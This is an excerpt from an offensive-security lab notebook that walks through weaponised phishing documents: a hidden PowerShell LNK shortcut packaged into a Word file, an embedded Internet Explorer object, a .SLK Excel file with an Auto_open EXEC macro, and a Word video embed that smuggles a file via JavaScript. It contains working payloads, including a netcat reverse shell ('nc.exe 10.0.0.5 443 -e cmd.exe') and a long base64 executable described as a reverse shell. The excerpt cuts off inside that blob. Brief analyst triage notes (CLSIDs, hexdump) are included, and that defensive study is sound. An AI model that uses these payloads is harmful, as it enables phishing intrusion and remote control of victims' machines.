```csharp
$command = 'Start-Process c:\shell.cmd'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

$obj = New-object -comobject wscript.shell
$link = $obj.createshortcut("c:\experiments\ole+lnk\Invoice-FinTech-0900541.lnk")
$link.windowstyle = "7"
$link.targetpath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$link.iconlocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe"
$link.arguments = "-Nop -sta -noni -w hidden -encodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGMAOgBcAHMAaABlAGwAbAAuAGMAbQBkAA=="
$link.save()
```

{% endcode %}

Powershell payload will trigger a rudimentary NC reverse shell:

{% code title="c:\shell.cmd" %}

```csharp
C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe
```

{% endcode %}

Once the above powershell script is executed, an `.LNK` shortcut is created:

![](/files/-LKRGjwTWCMH7EOxbc_b)

Let's create a Word document that will contain the malicious shortcut that was created in the previous step:

![](/files/-LKRH-VzxxtN9fSNg2js)

Let's insert a new object into the document by selecting a `Package`and changing its icon source to a Microsoft Word executable:

![](/files/-LKRH8A1jNeHJgRGRomK)

![](/files/-LKRHOVbCzGL4Zo2WrpY)

Point the package to the .lnk file containing the payload:

![](/files/-LKRIT6mm4h7eR5y9ONB)

Final result:

![](/files/-LKRIbB24hFM9R322XmS)

## Execution

Victim executing the embedded document. Gets presented with a popup to confirm execution:

![](/files/-LKRIrtSxtXDuyyIk0fC)

Once the victim confirms they want to open the file - the reverse shell comes back to the attacker:

![](/files/-LKRIrtTxniAvaJ_vV5m)

{% file src="/files/-LKRFRs6PmCItZfJf0iN" %}
OLE+LNK Powershell Script
{% endfile %}

{% file src="/files/-LKRFM7BiZ-YUrYrELHD" %}
Invoice-FinTech-0900541.lnk
{% endfile %}

{% file src="/files/-LKRFEk2QEZ6V0akcxvk" %}
Phishing: OLE+Lnk MS Word Doc Package
{% endfile %}

## Observations

After the payload is triggered, the process ancestry looks as expected - powershell gets spawned by winword, cmd is spawned by powershell..:

![](/files/-LKRJFn47fbXoXbUavdK)

Soon after, the powershell gets killed and cmd.exe becomes an orphaned process:

![](/files/-LKRJHK53l5r1CQKTwBT)

Like in [T1137: Phishing - Office Macros](/offensive-security/initial-access/phishing-with-ms-office/t1137-office-vba-macros), you can use rudimentary tools on your Windows workstation to quickly triage the suspicious Office document. First off, rename the file to a .zip extension and unzip it. Then you can navigate to `word\embeddings` and find `oleObject.bin` file that contains the malicious `.lnk`:

![](/files/-LKRdsdTB5mK-QRljpQN)

Then you can do a simple `strings` or hexdump against the file and you should immediately see signs of something that should raise your eyebrow(s):

```csharp
hexdump.exe -C .\oleObject1.bin
```

![](/files/-LKRfHZ7vT28S8ZGjHjx)

As an analyst, one should look for `CLSID 00021401-0000-0000-c000-000000000046` in the .bin file, which signifies that the .doc contains an embnedded .lnk file. In our case this can be observed here:

![](/files/-LLLlfqklzz5ti7PtC1W)

## References

{% embed url="<https://msdn.microsoft.com/en-gb/library/dd891343.aspx>" %}

{% embed url="<https://adsecurity.org/wp-content/uploads/2016/09/DerbyCon6-2016-AttackingEvilCorp-Anatomy-of-a-Corporate-Hack-Presented.pdf>" %}


# Phishing: Embedded Internet Explorer

Code execution with embedded Internet Explorer Object

In this phishing lab I am just playing around with the POCs researched, coded and described by Yorick Koster in his blog post [Click me if you can, Office social engineering with embedded objects](https://securify.nl/blog/SFY20180801/click-me-if-you-can_-office-social-engineering-with-embedded-objects.html)

## Execution

![](/files/-LLJyjh9CIrwT0n3Rvp5)

{% file src="/files/-LLJzJCV0lwxqd0pA1mi" %}
WebBrowser.docx
{% endfile %}

{% file src="/files/-LLJz-YHi2MBG7bwy1Yu" %}
phishing-iex-embedded.ps1
{% endfile %}

## Observations

![](/files/-LLJysTYVw-QHrgMvF2T)

As with other phishing documents, we can unzip the .docx and do a simple hexdump/strings on the `oleObject1.bin` to look for any suspicious strings referring to some sort of file/code execution:

![](/files/-LLK0UeV_qWarNBkci5z)

The CLSID object that makes this technique work is a `Shell.Explorer.1` object, as seen here:

```csharp
Get-ChildItem 'registry::HKEY_CLASSES_ROOT\CLSID\{EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B}'
```

![](/files/-LLK2l7mDsspEUow5HBF)

As an analyst, one should inspect the .bin file and look for the {EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B} bytes inside, signifying the `Shell.Explorer.1` object being embedded in the .bin file:

![](/files/-LLLHD4o6Fm9OQa8C0Hw)

## References

{% embed url="<https://securify.nl/blog/SFY20180801/click-me-if-you-can_-office-social-engineering-with-embedded-objects.html>" %}

<br>


# Phishing: .SLK Excel

This lab is based on findings by [@StanHacked](https://twitter.com/StanHacked) - see below references for more info.

## Weaponization

Create an new text file, put the the below code and save it as .slk file:

{% code title="demo.slk" %}

```csharp
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("c:\shell.cmd")
C;X1;Y102;K0;EHALT()
E
```

{% endcode %}

![](/files/-LOJSgqp-qR_GZX4P9jG)

Note that the shell.cmd refers to a simple nc reverse shell batch file:

{% code title="c:\shell.cmd" %}

```csharp
C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe
```

{% endcode %}

## Execution

Once the macro warning is dismissed, the reverse shell pops as expected:

![](/files/-LOJSz28-nIUjeIJAv-h)

Since the file is actually a plain text file, detecting/triaging malicious intents are made easier.

## Bonus

Note that the payload file could be saved as a .csv - note the additional warning though:

![](/files/-LOJUyhhL0XRD-eeip9M)

## References

{% embed url="<https://www.youtube.com/watch?v=xY2DIRfqNvA>" %}

<http://www.irongeek.com/i.php?page=videos/derbycon8/track-3-18-the-ms-office-magic-show-stan-hegt-pieter-ceelen>

{% embed url="<https://twitter.com/StanHacked/status/1049047727403937795>" %}


# Phishing: Replacing Embedded Video with Bogus Payload

## Weaponization

Create a new Word document and go to Insert > Online Video:

![](/files/-LZyfLZXawpMPi1MO2U9)

Insert any video:

![](/files/-LZyfPXjOH06L2dNb_MS)

Save the document:

![](/files/-LZyg1EItZFkMZtB0y11)

Rename .docx to .zip:

![](/files/-LZyg3pm8_CB35SwXNbK)

Open `document.xml` in any code editor:

![](/files/-LZyg680KYmWhjWfTOtl)

Note the `embeddedHtml` attribute - this is currently where the youtube iframe is embedded:

![](/files/-LZyzEVpFRwePG8s7Fe7)

We will add our payload next inside the `embeddedHtml` attribute, just before the iframe markup starts. We will use the payload from the article:

{% content-ref url="/pages/-LONJho\_U93z7P3gRIOH" %}
[File Smuggling with HTML and JavaScript](/offensive-security/defense-evasion/file-smuggling-with-html-and-javascript)
{% endcontent-ref %}

...which is almost the same as shown below:

```javascript
<html>
    <body>
        <script>
            function base64ToArrayBuffer(base64) {
            var binary_string = window.atob(base64);
            var len = binary_string.length;
            
            var bytes = new Uint8Array( len );
                for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
                return bytes.buffer;
            }

            // 32bit simple reverse shell
            var file = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACTOPDW11mehddZnoXXWZ6FrEWShdNZnoVURZCF3lmehbhGlIXcWZ6FuEaahdRZnoXXWZ+FHlmehVRRw4XfWZ6Fg3quhf9ZnoUQX5iF1lmehVJpY2jXWZ6FAAAAAAAAAAAAAAAAAAAAAFBFAABMAQQA+4eESgAAAAAAAAAA4AAPAQsBBgAAsAAAAKAAAAAAAAA/PgAAABAAAADAAAAAAEAAABAAAAAQAAAEAAAAAAAAAAQAAAAAAAAAAGABAAAQAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAbMcAAHgAAAAAUAEAyAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAODBAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAADgAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABmqQAAABAAAACwAAAAEAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAA5g8AAADAAAAAEAAAAMAAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAFxwAAAA0AAAAEAAAADQAAAAAAAAAAAAAAAAAABAAADALnJzcmMAAADIBwAAAFABAAAQAAAAEAEAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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